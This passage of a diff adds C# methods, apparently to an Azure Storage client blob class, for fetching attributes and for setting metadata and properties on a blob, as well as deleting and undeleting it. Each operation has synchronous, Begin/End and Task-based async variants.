+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndFetchAttributes(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task FetchAttributesAsync()
+        {
+            return this.FetchAttributesAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task FetchAttributesAsync(CancellationToken cancellationToken)
+        {
+            return this.FetchAttributesAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task FetchAttributesAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.FetchAttributesAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task FetchAttributesAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.FetchAttributesImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Updates the blob's metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void SetMetadata(AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.SetMetadataImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginSetMetadata(AsyncCallback callback, object state)
+        {
+            return this.BeginSetMetadata(null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginSetMetadata(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.SetMetadataAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndSetMetadata(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetMetadataAsync()
+        {
+            return this.SetMetadataAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetMetadataAsync(CancellationToken cancellationToken)
+        {
+            return this.SetMetadataAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetMetadataAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.SetMetadataAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetMetadataAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.SetMetadataImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Updates the blob's properties.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void SetProperties(AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.SetPropertiesImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginSetProperties(AsyncCallback callback, object state)
+        {
+            return this.BeginSetProperties(null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginSetProperties(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.SetPropertiesAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndSetProperties(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetPropertiesAsync()
+        {
+            return this.SetPropertiesAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetPropertiesAsync(CancellationToken cancellationToken)
+        {
+            return this.SetPropertiesAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetPropertiesAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.SetPropertiesAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to update the blob's properties.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task SetPropertiesAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.SetPropertiesImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Deletes the blob.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void Delete(DeleteSnapshotsOption deleteSnapshotsOption = DeleteSnapshotsOption.None, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.DeleteBlobImpl(this.attributes, deleteSnapshotsOption, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDelete(AsyncCallback callback, object state)
+        {
+            return this.BeginDelete(DeleteSnapshotsOption.None, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+
+        /// <summary>
+        /// Begins an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDelete(DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DeleteAsync(deleteSnapshotsOption, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndDelete(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DeleteAsync()
+        {
+            return this.DeleteAsync(DeleteSnapshotsOption.None, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DeleteAsync(CancellationToken cancellationToken)
+        {
+            return this.DeleteAsync(DeleteSnapshotsOption.None, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DeleteAsync(DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DeleteAsync(deleteSnapshotsOption, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DeleteAsync(DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.DeleteBlobImpl(this.attributes, deleteSnapshotsOption, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Deletes the blob if it already exists.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns><c>true</c> if the blob did already exist and was deleted; otherwise <c>false</c>.</returns>
+        [DoesServiceRequest]
+        public virtual bool DeleteIfExists(DeleteSnapshotsOption deleteSnapshotsOption = DeleteSnapshotsOption.None, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            operationContext = operationContext ?? new OperationContext();
+
+            try
+            {
+                this.Delete(deleteSnapshotsOption, accessCondition, modifiedOptions, operationContext);
+                return true;
+            }
+            catch (StorageException e)
+            {
+                if (e.RequestInformation.HttpStatusCode == (int)HttpStatusCode.NotFound)
+                {
+                    if ((e.RequestInformation.ExtendedErrorInformation == null) ||
+                        (e.RequestInformation.ExtendedErrorInformation.ErrorCode == BlobErrorCodeStrings.BlobNotFound) ||
+                        (e.RequestInformation.ExtendedErrorInformation.ErrorCode == BlobErrorCodeStrings.ContainerNotFound))
+                    {
+                        return false;
+                    }
+                    else
+                    {
+                        throw;
+                    }
+                }
+                else
+                {
+                    throw;
+                }
+            }
+        }
+
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous request to delete the blob if it already exists.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDeleteIfExists(AsyncCallback callback, object state)
+        {
+            return this.BeginDeleteIfExists(DeleteSnapshotsOption.None, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous request to delete the blob if it already exists.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDeleteIfExists(DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DeleteIfExistsAsync(deleteSnapshotsOption, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Returns the result of an asynchronous request to delete the blob if it already exists.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns><c>true</c> if the blob did already exist and was deleted; otherwise, <c>false</c>.</returns>
+        public virtual bool EndDeleteIfExists(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<bool>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob if it already exists.
+        /// </summary>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> DeleteIfExistsAsync()
+        {
+            return this.DeleteIfExistsAsync(DeleteSnapshotsOption.None, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob if it already exists.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> DeleteIfExistsAsync(CancellationToken cancellationToken)
+        {
+            return this.DeleteIfExistsAsync(DeleteSnapshotsOption.None, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob if it already exists.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> DeleteIfExistsAsync(DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DeleteIfExistsAsync(deleteSnapshotsOption, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob if it already exists.
+        /// </summary>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual async Task<bool> DeleteIfExistsAsync(DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            operationContext = operationContext ?? new OperationContext();
+
+            try
+            {
+                await this.DeleteAsync(deleteSnapshotsOption, accessCondition, modifiedOptions, operationContext, cancellationToken).ConfigureAwait(false);
+                return true;
+            }
+            catch (StorageException e)
+            {
+                if (e.RequestInformation.HttpStatusCode == (int)HttpStatusCode.NotFound)
+                {
+                    if ((e.RequestInformation.ExtendedErrorInformation == null) ||
+                        (e.RequestInformation.ExtendedErrorInformation.ErrorCode == BlobErrorCodeStrings.BlobNotFound) ||
+                        (e.RequestInformation.ExtendedErrorInformation.ErrorCode == BlobErrorCodeStrings.ContainerNotFound))
+                    {
+                        return false;
+                    }
+                    else
+                    {
+                        throw;
+                    }
+                }
+                else
+                {
+                    throw;
+                }
+            }
+        }
+
+#endif
+
+#if SYNC
+        /// <summary>
+        /// UnDeletes the blob if it is soft-deleted.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void Undelete(AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.UndeleteBlobImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to undelete the soft-deleted blob.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginUndelete(AsyncCallback callback, object state)
+        {
+            return this.BeginUndelete(null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+
+        /// <summary>
+        /// Begins an asynchronous operation to undelete the soft-deleted blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
